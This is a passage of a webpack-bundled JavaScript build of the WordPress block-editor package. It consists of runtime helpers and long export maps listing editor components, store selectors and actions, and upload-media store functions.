7447/******/ (() => {
7448/******/ // define getter functions for harmony exports
7449/******/ __webpack_require__.d = (exports, definition) => {
7450/******/ for(var key in definition) {
7451/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
7452/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
7453/******/ }
7454/******/ }
7455/******/ };
7456/******/ })();
7457/******/
7458/******/ /* webpack/runtime/hasOwnProperty shorthand */
7459/******/ (() => {
7460/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
7461/******/ })();
7462/******/
7463/******/ /* webpack/runtime/make namespace object */
7464/******/ (() => {
7465/******/ // define __esModule on exports
7466/******/ __webpack_require__.r = (exports) => {
7467/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
7468/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
7469/******/ }
7470/******/ Object.defineProperty(exports, '__esModule', { value: true });
7471/******/ };
7472/******/ })();
7473/******/
7474/************************************************************************/
7475var __webpack_exports__ = {};
7476// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
7477(() => {
7478"use strict";
7479// ESM COMPAT FLAG
7480__webpack_require__.r(__webpack_exports__);
7481
7482// EXPORTS
7483__webpack_require__.d(__webpack_exports__, {
7484 AlignmentControl: () => (/* reexport */ AlignmentControl),
7485 AlignmentToolbar: () => (/* reexport */ AlignmentToolbar),
7486 Autocomplete: () => (/* reexport */ autocomplete_default),
7487 BlockAlignmentControl: () => (/* reexport */ BlockAlignmentControl),
7488 BlockAlignmentToolbar: () => (/* reexport */ BlockAlignmentToolbar),
7489 BlockBreadcrumb: () => (/* reexport */ block_breadcrumb_default),
7490 BlockCanvas: () => (/* reexport */ block_canvas_default),
7491 BlockColorsStyleSelector: () => (/* reexport */ color_style_selector_default),
7492 BlockContextProvider: () => (/* reexport */ BlockContextProvider),
7493 BlockControls: () => (/* reexport */ block_controls_default),
7494 BlockEdit: () => (/* reexport */ BlockEdit),
7495 BlockEditorKeyboardShortcuts: () => (/* reexport */ keyboard_shortcuts_default),
7496 BlockEditorProvider: () => (/* reexport */ provider_provider_default),
7497 BlockFormatControls: () => (/* reexport */ BlockFormatControls),
7498 BlockIcon: () => (/* reexport */ block_icon_default),
7499 BlockInspector: () => (/* reexport */ block_inspector_default),
7500 BlockList: () => (/* reexport */ BlockList),
7501 BlockMover: () => (/* reexport */ block_mover_default),
7502 BlockNavigationDropdown: () => (/* reexport */ dropdown_default),
7503 BlockPopover: () => (/* reexport */ block_popover_default),
7504 BlockPreview: () => (/* reexport */ block_preview_default),
7505 BlockSelectionClearer: () => (/* reexport */ BlockSelectionClearer),
7506 BlockSettingsMenu: () => (/* reexport */ block_settings_menu_default),
7507 BlockSettingsMenuControls: () => (/* reexport */ block_settings_menu_controls_default),
7508 BlockStyles: () => (/* reexport */ block_styles_default),
7509 BlockTitle: () => (/* reexport */ BlockTitle),
7510 BlockToolbar: () => (/* reexport */ BlockToolbar),
7511 BlockTools: () => (/* reexport */ BlockTools),
7512 BlockVerticalAlignmentControl: () => (/* reexport */ BlockVerticalAlignmentControl),
7513 BlockVerticalAlignmentToolbar: () => (/* reexport */ BlockVerticalAlignmentToolbar),
7514 ButtonBlockAppender: () => (/* reexport */ button_block_appender_default),
7515 ButtonBlockerAppender: () => (/* reexport */ ButtonBlockerAppender),
7516 ColorPalette: () => (/* reexport */ color_palette_default),
7517 ColorPaletteControl: () => (/* reexport */ ColorPaletteControl),
7518 ContrastChecker: () => (/* reexport */ contrast_checker_default),
7519 CopyHandler: () => (/* reexport */ CopyHandler),
7520 DefaultBlockAppender: () => (/* reexport */ DefaultBlockAppender),
7521 FontSizePicker: () => (/* reexport */ font_size_picker_default),
7522 HeadingLevelDropdown: () => (/* reexport */ HeadingLevelDropdown),
7523 HeightControl: () => (/* reexport */ HeightControl),
7524 InnerBlocks: () => (/* reexport */ inner_blocks_default),
7525 Inserter: () => (/* reexport */ inserter_default),
7526 InspectorAdvancedControls: () => (/* reexport */ InspectorAdvancedControls),
7527 InspectorControls: () => (/* reexport */ inspector_controls_default),
7528 JustifyContentControl: () => (/* reexport */ JustifyContentControl),
7529 JustifyToolbar: () => (/* reexport */ JustifyToolbar),
7530 LineHeightControl: () => (/* reexport */ line_height_control_default),
7531 LinkControl: () => (/* reexport */ link_control_default),
7532 MediaPlaceholder: () => (/* reexport */ media_placeholder_default),
7533 MediaReplaceFlow: () => (/* reexport */ media_replace_flow_default),
7534 MediaUpload: () => (/* reexport */ media_upload_default),
7535 MediaUploadCheck: () => (/* reexport */ check_default),
7536 MultiSelectScrollIntoView: () => (/* reexport */ MultiSelectScrollIntoView),
7537 NavigableToolbar: () => (/* reexport */ NavigableToolbar),
7538 ObserveTyping: () => (/* reexport */ observe_typing_default),
7539 PanelColorSettings: () => (/* reexport */ panel_color_settings_default),
7540 PlainText: () => (/* reexport */ plain_text_default),
7541 RecursionProvider: () => (/* reexport */ RecursionProvider),
7542 RichText: () => (/* reexport */ rich_text_default),
7543 RichTextShortcut: () => (/* reexport */ RichTextShortcut),
7544 RichTextToolbarButton: () => (/* reexport */ RichTextToolbarButton),
7545 SETTINGS_DEFAULTS: () => (/* reexport */ SETTINGS_DEFAULTS),
7546 SkipToSelectedBlock: () => (/* reexport */ SkipToSelectedBlock),
7547 ToolSelector: () => (/* reexport */ tool_selector_default),
7548 Typewriter: () => (/* reexport */ typewriter_default),
7549 URLInput: () => (/* reexport */ url_input_default),
7550 URLInputButton: () => (/* reexport */ button_default),
7551 URLPopover: () => (/* reexport */ url_popover_default),
7552 Warning: () => (/* reexport */ warning_default),
7553 WritingFlow: () => (/* reexport */ writing_flow_default),
7554 __experimentalBlockAlignmentMatrixControl: () => (/* reexport */ block_alignment_matrix_control_default),
7555 __experimentalBlockFullHeightAligmentControl: () => (/* reexport */ block_full_height_alignment_control_default),
7556 __experimentalBlockPatternSetup: () => (/* reexport */ block_pattern_setup_default),
7557 __experimentalBlockPatternsList: () => (/* reexport */ block_patterns_list_default),
7558 __experimentalBlockVariationPicker: () => (/* reexport */ block_variation_picker_default),
7559 __experimentalBlockVariationTransforms: () => (/* reexport */ block_variation_transforms_default),
7560 __experimentalBorderRadiusControl: () => (/* reexport */ BorderRadiusControl),
7561 __experimentalColorGradientControl: () => (/* reexport */ control_default),
7562 __experimentalColorGradientSettingsDropdown: () => (/* reexport */ ColorGradientSettingsDropdown),
7563 __experimentalDateFormatPicker: () => (/* reexport */ DateFormatPicker),
7564 __experimentalDuotoneControl: () => (/* reexport */ duotone_control_default),
7565 __experimentalFontAppearanceControl: () => (/* reexport */ FontAppearanceControl),
7566 __experimentalFontFamilyControl: () => (/* reexport */ FontFamilyControl),
7567 __experimentalGetBorderClassesAndStyles: () => (/* reexport */ getBorderClassesAndStyles),
7568 __experimentalGetColorClassesAndStyles: () => (/* reexport */ getColorClassesAndStyles),
7569 __experimentalGetElementClassName: () => (/* reexport */ __experimentalGetElementClassName),
7570 __experimentalGetGapCSSValue: () => (/* reexport */ getGapCSSValue),
7571 __experimentalGetGradientClass: () => (/* reexport */ __experimentalGetGradientClass),
7572 __experimentalGetGradientObjectByGradientValue: () => (/* reexport */ __experimentalGetGradientObjectByGradientValue),
7573 __experimentalGetShadowClassesAndStyles: () => (/* reexport */ getShadowClassesAndStyles),
7574 __experimentalGetSpacingClassesAndStyles: () => (/* reexport */ getSpacingClassesAndStyles),
7575 __experimentalImageEditor: () => (/* reexport */ ImageEditor),
7576 __experimentalImageSizeControl: () => (/* reexport */ ImageSizeControl),
7577 __experimentalImageURLInputUI: () => (/* reexport */ ImageURLInputUI),
7578 __experimentalInspectorPopoverHeader: () => (/* reexport */ InspectorPopoverHeader),
7579 __experimentalLetterSpacingControl: () => (/* reexport */ LetterSpacingControl),
7580 __experimentalLibrary: () => (/* reexport */ library_default),
7581 __experimentalLinkControl: () => (/* reexport */ DeprecatedExperimentalLinkControl),
7582 __experimentalLinkControlSearchInput: () => (/* reexport */ __experimentalLinkControlSearchInput),
7583 __experimentalLinkControlSearchItem: () => (/* reexport */ __experimentalLinkControlSearchItem),
7584 __experimentalLinkControlSearchResults: () => (/* reexport */ __experimentalLinkControlSearchResults),
7585 __experimentalListView: () => (/* reexport */ list_view_list_view_default),
7586 __experimentalPanelColorGradientSettings: () => (/* reexport */ panel_color_gradient_settings_default),
7587 __experimentalPreviewOptions: () => (/* reexport */ PreviewOptions),
7588 __experimentalPublishDateTimePicker: () => (/* reexport */ publish_date_time_picker_default),
7589 __experimentalRecursionProvider: () => (/* reexport */ DeprecatedExperimentalRecursionProvider),
7590 __experimentalResponsiveBlockControl: () => (/* reexport */ responsive_block_control_default),
7591 __experimentalSpacingSizesControl: () => (/* reexport */ SpacingSizesControl),
7592 __experimentalTextDecorationControl: () => (/* reexport */ TextDecorationControl),
7593 __experimentalTextTransformControl: () => (/* reexport */ TextTransformControl),
7594 __experimentalUnitControl: () => (/* reexport */ UnitControl),
7595 __experimentalUseBlockOverlayActive: () => (/* reexport */ useBlockOverlayActive),
7596 __experimentalUseBlockPreview: () => (/* reexport */ useBlockPreview),
7597 __experimentalUseBorderProps: () => (/* reexport */ useBorderProps),
7598 __experimentalUseColorProps: () => (/* reexport */ useColorProps),
7599 __experimentalUseCustomSides: () => (/* reexport */ useCustomSides),
7600 __experimentalUseGradient: () => (/* reexport */ __experimentalUseGradient),
7601 __experimentalUseHasRecursion: () => (/* reexport */ DeprecatedExperimentalUseHasRecursion),
7602 __experimentalUseMultipleOriginColorsAndGradients: () => (/* reexport */ useMultipleOriginColorsAndGradients),
7603 __experimentalUseResizeCanvas: () => (/* reexport */ useResizeCanvas),
7604 __experimentalWritingModeControl: () => (/* reexport */ WritingModeControl),
7605 __unstableBlockNameContext: () => (/* reexport */ block_name_context_default),
7606 __unstableBlockSettingsMenuFirstItem: () => (/* reexport */ block_settings_menu_first_item_default),
7607 __unstableBlockToolbarLastItem: () => (/* reexport */ block_toolbar_last_item_default),
7608 __unstableEditorStyles: () => (/* reexport */ editor_styles_default),
7609 __unstableIframe: () => (/* reexport */ iframe_default),
7610 __unstableInserterMenuExtension: () => (/* reexport */ inserter_menu_extension_default),
7611 __unstableRichTextInputEvent: () => (/* reexport */ __unstableRichTextInputEvent),
7612 __unstableUseBlockSelectionClearer: () => (/* reexport */ useBlockSelectionClearer),
7613 __unstableUseClipboardHandler: () => (/* reexport */ __unstableUseClipboardHandler),
7614 __unstableUseMouseMoveTypingReset: () => (/* reexport */ useMouseMoveTypingReset),
7615 __unstableUseTypewriter: () => (/* reexport */ useTypewriter),
7616 __unstableUseTypingObserver: () => (/* reexport */ useTypingObserver),
7617 createCustomColorsHOC: () => (/* reexport */ createCustomColorsHOC),
7618 getColorClassName: () => (/* reexport */ getColorClassName),
7619 getColorObjectByAttributeValues: () => (/* reexport */ getColorObjectByAttributeValues),
7620 getColorObjectByColorValue: () => (/* reexport */ getColorObjectByColorValue),
7621 getComputedFluidTypographyValue: () => (/* reexport */ getComputedFluidTypographyValue),
7622 getCustomValueFromPreset: () => (/* reexport */ getCustomValueFromPreset),
7623 getFontSize: () => (/* reexport */ utils_getFontSize),
7624 getFontSizeClass: () => (/* reexport */ getFontSizeClass),
7625 getFontSizeObjectByValue: () => (/* reexport */ utils_getFontSizeObjectByValue),
7626 getGradientSlugByValue: () => (/* reexport */ getGradientSlugByValue),
7627 getGradientValueBySlug: () => (/* reexport */ getGradientValueBySlug),
7628 getPxFromCssUnit: () => (/* reexport */ get_px_from_css_unit_default),
7629 getSpacingPresetCssVar: () => (/* reexport */ getSpacingPresetCssVar),
7630 getTypographyClassesAndStyles: () => (/* reexport */ getTypographyClassesAndStyles),
7631 isValueSpacingPreset: () => (/* reexport */ isValueSpacingPreset),
7632 privateApis: () => (/* reexport */ privateApis),
7633 store: () => (/* reexport */ store),
7634 storeConfig: () => (/* reexport */ storeConfig),
7635 transformStyles: () => (/* reexport */ transform_styles_default),
7636 useBlockBindingsUtils: () => (/* reexport */ useBlockBindingsUtils),
7637 useBlockCommands: () => (/* reexport */ useBlockCommands),
7638 useBlockDisplayInformation: () => (/* reexport */ useBlockDisplayInformation),
7639 useBlockEditContext: () => (/* reexport */ useBlockEditContext),
7640 useBlockEditingMode: () => (/* reexport */ useBlockEditingMode),
7641 useBlockProps: () => (/* reexport */ use_block_props_useBlockProps),
7642 useCachedTruthy: () => (/* reexport */ useCachedTruthy),
7643 useHasRecursion: () => (/* reexport */ useHasRecursion),
7644 useInnerBlocksProps: () => (/* reexport */ useInnerBlocksProps),
7645 useSetting: () => (/* reexport */ useSetting),
7646 useSettings: () => (/* reexport */ use_settings_useSettings),
7647 useStyleOverride: () => (/* reexport */ useStyleOverride),
7648 withColorContext: () => (/* reexport */ with_color_context_default),
7649 withColors: () => (/* reexport */ withColors),
7650 withFontSizes: () => (/* reexport */ with_font_sizes_default)
7651});
7652
7653// NAMESPACE OBJECT: ./node_modules/@wordpress/block-editor/build-module/store/private-selectors.js
7654var private_selectors_namespaceObject = {};
7655__webpack_require__.r(private_selectors_namespaceObject);
7656__webpack_require__.d(private_selectors_namespaceObject, {
7657 getAllPatterns: () => (getAllPatterns),
7658 getBlockRemovalRules: () => (getBlockRemovalRules),
7659 getBlockSettings: () => (getBlockSettings),
7660 getBlockStyles: () => (getBlockStyles),
7661 getBlockWithoutAttributes: () => (getBlockWithoutAttributes),
7662 getClosestAllowedInsertionPoint: () => (getClosestAllowedInsertionPoint),
7663 getClosestAllowedInsertionPointForPattern: () => (getClosestAllowedInsertionPointForPattern),
7664 getContentLockingParent: () => (getContentLockingParent),
7665 getEnabledBlockParents: () => (getEnabledBlockParents),
7666 getEnabledClientIdsTree: () => (getEnabledClientIdsTree),
7667 getExpandedBlock: () => (getExpandedBlock),
7668 getInserterMediaCategories: () => (getInserterMediaCategories),
7669 getInsertionPoint: () => (getInsertionPoint),
7670 getLastFocus: () => (getLastFocus),
7671 getLastInsertedBlocksClientIds: () => (getLastInsertedBlocksClientIds),
7672 getOpenedBlockSettingsMenu: () => (getOpenedBlockSettingsMenu),
7673 getParentSectionBlock: () => (getParentSectionBlock),
7674 getPatternBySlug: () => (getPatternBySlug),
7675 getRegisteredInserterMediaCategories: () => (getRegisteredInserterMediaCategories),
7676 getRemovalPromptData: () => (getRemovalPromptData),
7677 getReusableBlocks: () => (getReusableBlocks),
7678 getSectionRootClientId: () => (getSectionRootClientId),
7679 getStyleOverrides: () => (getStyleOverrides),
7680 getTemporarilyEditingAsBlocks: () => (getTemporarilyEditingAsBlocks),
7681 getTemporarilyEditingFocusModeToRevert: () => (getTemporarilyEditingFocusModeToRevert),
7682 getZoomLevel: () => (getZoomLevel),
7683 hasAllowedPatterns: () => (hasAllowedPatterns),
7684 hasBlockSpotlight: () => (private_selectors_hasBlockSpotlight),
7685 isBlockHidden: () => (isBlockHidden),
7686 isBlockInterfaceHidden: () => (private_selectors_isBlockInterfaceHidden),
7687 isBlockSubtreeDisabled: () => (isBlockSubtreeDisabled),
7688 isContainerInsertableToInContentOnlyMode: () => (isContainerInsertableToInContentOnlyMode),
7689 isDragging: () => (private_selectors_isDragging),
7690 isSectionBlock: () => (isSectionBlock),
7691 isZoomOut: () => (isZoomOut)
7692});
7693
7694// NAMESPACE OBJECT: ./node_modules/@wordpress/block-editor/build-module/store/selectors.js
7695var selectors_namespaceObject = {};
7696__webpack_require__.r(selectors_namespaceObject);
7697__webpack_require__.d(selectors_namespaceObject, {
7698 __experimentalGetActiveBlockIdByBlockNames: () => (__experimentalGetActiveBlockIdByBlockNames),
7699 __experimentalGetAllowedBlocks: () => (__experimentalGetAllowedBlocks),
7700 __experimentalGetAllowedPatterns: () => (__experimentalGetAllowedPatterns),
7701 __experimentalGetBlockListSettingsForBlocks: () => (__experimentalGetBlockListSettingsForBlocks),
7702 __experimentalGetDirectInsertBlock: () => (__experimentalGetDirectInsertBlock),
7703 __experimentalGetGlobalBlocksByName: () => (__experimentalGetGlobalBlocksByName),
7704 __experimentalGetLastBlockAttributeChanges: () => (__experimentalGetLastBlockAttributeChanges),
7705 __experimentalGetParsedPattern: () => (__experimentalGetParsedPattern),
7706 __experimentalGetPatternTransformItems: () => (__experimentalGetPatternTransformItems),
7707 __experimentalGetPatternsByBlockTypes: () => (__experimentalGetPatternsByBlockTypes),
7708 __experimentalGetReusableBlockTitle: () => (__experimentalGetReusableBlockTitle),
7709 __unstableGetBlockWithoutInnerBlocks: () => (__unstableGetBlockWithoutInnerBlocks),
7710 __unstableGetClientIdWithClientIdsTree: () => (__unstableGetClientIdWithClientIdsTree),
7711 __unstableGetClientIdsTree: () => (__unstableGetClientIdsTree),
7712 __unstableGetContentLockingParent: () => (__unstableGetContentLockingParent),
7713 __unstableGetSelectedBlocksWithPartialSelection: () => (__unstableGetSelectedBlocksWithPartialSelection),
7714 __unstableGetTemporarilyEditingAsBlocks: () => (__unstableGetTemporarilyEditingAsBlocks),
7715 __unstableGetTemporarilyEditingFocusModeToRevert: () => (__unstableGetTemporarilyEditingFocusModeToRevert),
7716 __unstableGetVisibleBlocks: () => (__unstableGetVisibleBlocks),
7717 __unstableHasActiveBlockOverlayActive: () => (__unstableHasActiveBlockOverlayActive),
7718 __unstableIsFullySelected: () => (__unstableIsFullySelected),
7719 __unstableIsLastBlockChangeIgnored: () => (__unstableIsLastBlockChangeIgnored),
7720 __unstableIsSelectionCollapsed: () => (__unstableIsSelectionCollapsed),
7721 __unstableIsSelectionMergeable: () => (__unstableIsSelectionMergeable),
7722 __unstableIsWithinBlockOverlay: () => (__unstableIsWithinBlockOverlay),
7723 __unstableSelectionHasUnmergeableBlock: () => (__unstableSelectionHasUnmergeableBlock),
7724 areInnerBlocksControlled: () => (areInnerBlocksControlled),
7725 canEditBlock: () => (canEditBlock),
7726 canInsertBlockType: () => (canInsertBlockType),
7727 canInsertBlocks: () => (canInsertBlocks),
7728 canLockBlockType: () => (canLockBlockType),
7729 canMoveBlock: () => (canMoveBlock),
7730 canMoveBlocks: () => (canMoveBlocks),
7731 canRemoveBlock: () => (canRemoveBlock),
7732 canRemoveBlocks: () => (canRemoveBlocks),
7733 didAutomaticChange: () => (didAutomaticChange),
7734 getAdjacentBlockClientId: () => (getAdjacentBlockClientId),
7735 getAllowedBlocks: () => (getAllowedBlocks),
7736 getBlock: () => (getBlock),
7737 getBlockAttributes: () => (getBlockAttributes),
7738 getBlockCount: () => (getBlockCount),
7739 getBlockEditingMode: () => (getBlockEditingMode),
7740 getBlockHierarchyRootClientId: () => (getBlockHierarchyRootClientId),
7741 getBlockIndex: () => (getBlockIndex),
7742 getBlockInsertionPoint: () => (getBlockInsertionPoint),
7743 getBlockListSettings: () => (getBlockListSettings),
7744 getBlockMode: () => (getBlockMode),
7745 getBlockName: () => (getBlockName),
7746 getBlockNamesByClientId: () => (getBlockNamesByClientId),
7747 getBlockOrder: () => (getBlockOrder),
7748 getBlockParents: () => (getBlockParents),
7749 getBlockParentsByBlockName: () => (getBlockParentsByBlockName),
7750 getBlockRootClientId: () => (getBlockRootClientId),
7751 getBlockSelectionEnd: () => (getBlockSelectionEnd),
7752 getBlockSelectionStart: () => (getBlockSelectionStart),
7753 getBlockTransformItems: () => (getBlockTransformItems),
7754 getBlocks: () => (getBlocks),
7755 getBlocksByClientId: () => (getBlocksByClientId),
7756 getBlocksByName: () => (getBlocksByName),
7757 getClientIdsOfDescendants: () => (getClientIdsOfDescendants),
7758 getClientIdsWithDescendants: () => (getClientIdsWithDescendants),
7759 getDirectInsertBlock: () => (getDirectInsertBlock),
7760 getDraggedBlockClientIds: () => (getDraggedBlockClientIds),
7761 getFirstMultiSelectedBlockClientId: () => (getFirstMultiSelectedBlockClientId),
7762 getGlobalBlockCount: () => (getGlobalBlockCount),
7763 getHoveredBlockClientId: () => (getHoveredBlockClientId),
7764 getInserterItems: () => (getInserterItems),
7765 getLastMultiSelectedBlockClientId: () => (getLastMultiSelectedBlockClientId),
7766 getLowestCommonAncestorWithSelectedBlock: () => (getLowestCommonAncestorWithSelectedBlock),
7767 getMultiSelectedBlockClientIds: () => (getMultiSelectedBlockClientIds),
7768 getMultiSelectedBlocks: () => (getMultiSelectedBlocks),
7769 getMultiSelectedBlocksEndClientId: () => (getMultiSelectedBlocksEndClientId),
7770 getMultiSelectedBlocksStartClientId: () => (getMultiSelectedBlocksStartClientId),
7771 getNextBlockClientId: () => (getNextBlockClientId),
7772 getPatternsByBlockTypes: () => (getPatternsByBlockTypes),
7773 getPreviousBlockClientId: () => (getPreviousBlockClientId),
7774 getSelectedBlock: () => (getSelectedBlock),
7775 getSelectedBlockClientId: () => (getSelectedBlockClientId),
7776 getSelectedBlockClientIds: () => (getSelectedBlockClientIds),
7777 getSelectedBlockCount: () => (getSelectedBlockCount),
7778 getSelectedBlocksInitialCaretPosition: () => (getSelectedBlocksInitialCaretPosition),
7779 getSelectionEnd: () => (getSelectionEnd),
7780 getSelectionStart: () => (getSelectionStart),
7781 getSettings: () => (getSettings),
7782 getTemplate: () => (getTemplate),
7783 getTemplateLock: () => (getTemplateLock),
7784 hasBlockMovingClientId: () => (hasBlockMovingClientId),
7785 hasDraggedInnerBlock: () => (hasDraggedInnerBlock),
7786 hasInserterItems: () => (hasInserterItems),
7787 hasMultiSelection: () => (hasMultiSelection),
7788 hasSelectedBlock: () => (hasSelectedBlock),
7789 hasSelectedInnerBlock: () => (hasSelectedInnerBlock),
7790 isAncestorBeingDragged: () => (isAncestorBeingDragged),
7791 isAncestorMultiSelected: () => (isAncestorMultiSelected),
7792 isBlockBeingDragged: () => (isBlockBeingDragged),
7793 isBlockHighlighted: () => (isBlockHighlighted),
7794 isBlockInsertionPointVisible: () => (isBlockInsertionPointVisible),
7795 isBlockMultiSelected: () => (isBlockMultiSelected),
7796 isBlockSelected: () => (isBlockSelected),
7797 isBlockValid: () => (isBlockValid),
7798 isBlockVisible: () => (isBlockVisible),
7799 isBlockWithinSelection: () => (isBlockWithinSelection),
7800 isCaretWithinFormattedText: () => (isCaretWithinFormattedText),
7801 isDraggingBlocks: () => (isDraggingBlocks),
7802 isFirstMultiSelectedBlock: () => (isFirstMultiSelectedBlock),
7803 isGroupable: () => (isGroupable),
7804 isLastBlockChangePersistent: () => (isLastBlockChangePersistent),
7805 isMultiSelecting: () => (selectors_isMultiSelecting),
7806 isSelectionEnabled: () => (selectors_isSelectionEnabled),
7807 isTyping: () => (selectors_isTyping),
7808 isUngroupable: () => (isUngroupable),
7809 isValidTemplate: () => (isValidTemplate),
7810 wasBlockJustInserted: () => (wasBlockJustInserted)
7811});
7812
7813// NAMESPACE OBJECT: ./node_modules/@wordpress/block-editor/build-module/store/private-actions.js
7814var private_actions_namespaceObject = {};
7815__webpack_require__.r(private_actions_namespaceObject);
7816__webpack_require__.d(private_actions_namespaceObject, {
7817 __experimentalUpdateSettings: () => (__experimentalUpdateSettings),
7818 clearBlockRemovalPrompt: () => (clearBlockRemovalPrompt),
7819 deleteStyleOverride: () => (deleteStyleOverride),
7820 ensureDefaultBlock: () => (ensureDefaultBlock),
7821 expandBlock: () => (expandBlock),
7822 hideBlockInterface: () => (hideBlockInterface),
7823 modifyContentLockBlock: () => (modifyContentLockBlock),
7824 privateRemoveBlocks: () => (privateRemoveBlocks),
7825 resetZoomLevel: () => (resetZoomLevel),
7826 setBlockRemovalRules: () => (setBlockRemovalRules),
7827 setInsertionPoint: () => (setInsertionPoint),
7828 setLastFocus: () => (setLastFocus),
7829 setOpenedBlockSettingsMenu: () => (setOpenedBlockSettingsMenu),
7830 setStyleOverride: () => (setStyleOverride),
7831 setZoomLevel: () => (setZoomLevel),
7832 showBlockInterface: () => (showBlockInterface),
7833 startDragging: () => (startDragging),
7834 stopDragging: () => (stopDragging),
7835 stopEditingAsBlocks: () => (stopEditingAsBlocks),
7836 toggleBlockSpotlight: () => (toggleBlockSpotlight)
7837});
7838
7839// NAMESPACE OBJECT: ./node_modules/@wordpress/block-editor/build-module/store/actions.js
7840var actions_namespaceObject = {};
7841__webpack_require__.r(actions_namespaceObject);
7842__webpack_require__.d(actions_namespaceObject, {
7843 __unstableDeleteSelection: () => (__unstableDeleteSelection),
7844 __unstableExpandSelection: () => (__unstableExpandSelection),
7845 __unstableMarkAutomaticChange: () => (__unstableMarkAutomaticChange),
7846 __unstableMarkLastChangeAsPersistent: () => (__unstableMarkLastChangeAsPersistent),
7847 __unstableMarkNextChangeAsNotPersistent: () => (__unstableMarkNextChangeAsNotPersistent),
7848 __unstableSaveReusableBlock: () => (__unstableSaveReusableBlock),
7849 __unstableSetEditorMode: () => (__unstableSetEditorMode),
7850 __unstableSetTemporarilyEditingAsBlocks: () => (__unstableSetTemporarilyEditingAsBlocks),
7851 __unstableSplitSelection: () => (__unstableSplitSelection),
7852 clearSelectedBlock: () => (clearSelectedBlock),
7853 duplicateBlocks: () => (duplicateBlocks),
7854 enterFormattedText: () => (enterFormattedText),
7855 exitFormattedText: () => (exitFormattedText),
7856 flashBlock: () => (flashBlock),
7857 hideInsertionPoint: () => (hideInsertionPoint),
7858 hoverBlock: () => (hoverBlock),
7859 insertAfterBlock: () => (insertAfterBlock),
7860 insertBeforeBlock: () => (insertBeforeBlock),
7861 insertBlock: () => (insertBlock),
7862 insertBlocks: () => (insertBlocks),
7863 insertDefaultBlock: () => (insertDefaultBlock),
7864 mergeBlocks: () => (mergeBlocks),
7865 moveBlockToPosition: () => (moveBlockToPosition),
7866 moveBlocksDown: () => (moveBlocksDown),
7867 moveBlocksToPosition: () => (moveBlocksToPosition),
7868 moveBlocksUp: () => (moveBlocksUp),
7869 multiSelect: () => (multiSelect),
7870 receiveBlocks: () => (receiveBlocks),
7871 registerInserterMediaCategory: () => (registerInserterMediaCategory),
7872 removeBlock: () => (removeBlock),
7873 removeBlocks: () => (removeBlocks),
7874 replaceBlock: () => (replaceBlock),
7875 replaceBlocks: () => (replaceBlocks),
7876 replaceInnerBlocks: () => (replaceInnerBlocks),
7877 resetBlocks: () => (resetBlocks),
7878 resetSelection: () => (resetSelection),
7879 selectBlock: () => (selectBlock),
7880 selectNextBlock: () => (selectNextBlock),
7881 selectPreviousBlock: () => (selectPreviousBlock),
7882 selectionChange: () => (selectionChange),
7883 setBlockEditingMode: () => (setBlockEditingMode),
7884 setBlockMovingClientId: () => (setBlockMovingClientId),
7885 setBlockVisibility: () => (setBlockVisibility),
7886 setHasControlledInnerBlocks: () => (setHasControlledInnerBlocks),
7887 setTemplateValidity: () => (setTemplateValidity),
7888 showInsertionPoint: () => (showInsertionPoint),
7889 startDraggingBlocks: () => (startDraggingBlocks),
7890 startMultiSelect: () => (startMultiSelect),
7891 startTyping: () => (startTyping),
7892 stopDraggingBlocks: () => (stopDraggingBlocks),
7893 stopMultiSelect: () => (stopMultiSelect),
7894 stopTyping: () => (stopTyping),
7895 synchronizeTemplate: () => (synchronizeTemplate),
7896 toggleBlockHighlight: () => (toggleBlockHighlight),
7897 toggleBlockMode: () => (toggleBlockMode),
7898 toggleSelection: () => (toggleSelection),
7899 unsetBlockEditingMode: () => (unsetBlockEditingMode),
7900 updateBlock: () => (updateBlock),
7901 updateBlockAttributes: () => (updateBlockAttributes),
7902 updateBlockListSettings: () => (updateBlockListSettings),
7903 updateSettings: () => (updateSettings),
7904 validateBlocksToTemplate: () => (validateBlocksToTemplate)
7905});
7906
7907// NAMESPACE OBJECT: ./node_modules/@wordpress/upload-media/build-module/store/selectors.js
7908var store_selectors_namespaceObject = {};
7909__webpack_require__.r(store_selectors_namespaceObject);
7910__webpack_require__.d(store_selectors_namespaceObject, {
7911 getItems: () => (getItems),
7912 getSettings: () => (selectors_getSettings),
7913 isUploading: () => (isUploading),
7914 isUploadingById: () => (isUploadingById),
7915 isUploadingByUrl: () => (isUploadingByUrl)
7916});
7917
7918// NAMESPACE OBJECT: ./node_modules/@wordpress/upload-media/build-module/store/private-selectors.js
7919var store_private_selectors_namespaceObject = {};
7920__webpack_require__.r(store_private_selectors_namespaceObject);
7921__webpack_require__.d(store_private_selectors_namespaceObject, {
7922 getAllItems: () => (getAllItems),
7923 getBlobUrls: () => (getBlobUrls),
7924 getItem: () => (getItem),
7925 getPausedUploadForPost: () => (getPausedUploadForPost),
7926 isBatchUploaded: () => (isBatchUploaded),
7927 isPaused: () => (isPaused),
7928 isUploadingToPost: () => (isUploadingToPost)
7929});
7930
7931// NAMESPACE OBJECT: ./node_modules/@wordpress/upload-media/build-module/store/actions.js
7932var store_actions_namespaceObject = {};
7933__webpack_require__.r(store_actions_namespaceObject);
7934__webpack_require__.d(store_actions_namespaceObject, {
7935 addItems: () => (addItems),
7936 cancelItem: () => (cancelItem)
7937});
7938
7939// NAMESPACE OBJECT: ./node_modules/@wordpress/upload-media/build-module/store/private-actions.js
7940var store_private_actions_namespaceObject = {};
7941__webpack_require__.r(store_private_actions_namespaceObject);
7942__webpack_require__.d(store_private_actions_namespaceObject, {
7943 addItem: () => (addItem),
7944 finishOperation: () => (finishOperation),
7945 pauseQueue: () => (pauseQueue),
7946 prepareItem: () => (prepareItem),
7947 processItem: () => (processItem),
7948 removeItem: () => (removeItem),
7949 resumeQueue: () => (resumeQueue),
7950 revokeBlobUrls: () => (revokeBlobUrls),
7951 updateSettings: () => (private_actions_updateSettings),
7952 uploadItem: () => (uploadItem)
7953});
7954
7955// NAMESPACE OBJECT: ./node_modules/@wordpress/block-editor/build-module/components/global-styles/index.js
7956var global_styles_namespaceObject = {};
7957__webpack_require__.r(global_styles_namespaceObject);
7958__webpack_require__.d(global_styles_namespaceObject, {
7959 AdvancedPanel: () => (AdvancedPanel),
7960 BackgroundPanel: () => (background_panel_BackgroundImagePanel),
7961 BorderPanel: () => (BorderPanel),
